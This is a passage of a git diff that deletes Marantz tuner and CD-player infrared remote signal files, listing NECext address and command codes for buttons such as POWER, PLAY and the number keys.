Section/17,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: FREQ._DIRECT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: TUNING_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: TUNING_DOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: STEREO/MONO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: PRESET_SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2B 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2D 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2E 00 00 00 -# -name: LW -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2F 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: PRESET_INFO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 52 00 00 00 -# -name: PTY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 78 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner/16,-1.ir deleted file mode 100644 index a33517d22..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner/16,-1.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BASS_++ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 16 00 00 00 -# -name: BASS-- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 17 00 00 00 -# -name: TREB_++ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 18 00 00 00 -# -name: TREB-- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 19 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 26 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner/17,-1.ir deleted file mode 100644 index 84a4050da..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner/17,-1.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0A 00 00 00 -# -name: 0_OR_10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0A 00 00 00 -# -name: FREQ._DIRECT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0B 00 00 00 -# -name: FREQ_DIRECT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0B 00 00 00 -# -name: F.DIRECT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0B 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0C 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0C 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: DISPLAY_MODE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: MEM._GROUP_NEXT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1C 00 00 00 -# -name: TUNING_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: TUNING_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: FREQUENCY_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: TUNING_DOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: TUNING_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: FREQUENCY_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: PRESET_++ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: PRESET_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: PRESET_-- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: STEREO/MONO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: FM_MODE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: TUNE_MODE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: IF_BAND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: PRESET_SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2B 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2D 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2E 00 00 00 -# -name: LW -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2F 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 47 00 00 00 -# -name: PRESET_INFO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 52 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 52 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 57 00 00 00 -# -name: PTY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 78 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner/20,-1.ir deleted file mode 100644 index 6fe80499f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner/20,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir deleted file mode 100644 index 690b92816..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 29 00 00 00 -# -name: AMS -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 31 00 00 00 -# -name: BWD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3B 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 47 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 68 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir deleted file mode 100644 index 161daf85b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: SKIP-FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SKIP-BACK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 22 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 29 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3A 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: TRAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 42 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 45 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: KEY_3-D -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 78 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 -# -name: T/C -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C8 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D1 00 00 00 -# -name: L-PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D7 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir deleted file mode 100644 index 3a28893bd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0A 00 00 00 -# -name: LAP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: REVIEW -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0F 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 29 00 00 00 -# -name: AMS -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: SEARCH- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: SEARCH+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir deleted file mode 100644 index 95eb92ef5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: FTS -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: DisplayMode -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: Index+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 22 00 00 00 -# -name: Index- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 23 00 00 00 -# -name: P.Mode -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 24 00 00 00 -# -name: Memo -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 29 00 00 00 -# -name: AMS -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 31 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: Stop/CM -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: AMSTime+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: AMSTime- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir deleted file mode 100644 index a497cfbf6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: Prev_Track -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 24 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: FADE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 78 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir deleted file mode 100644 index 34d20d263..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0C 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: Disc -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1E 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: Program -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 24 00 00 00 -# -name: Intro -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: KEY_DELETE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 31 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext 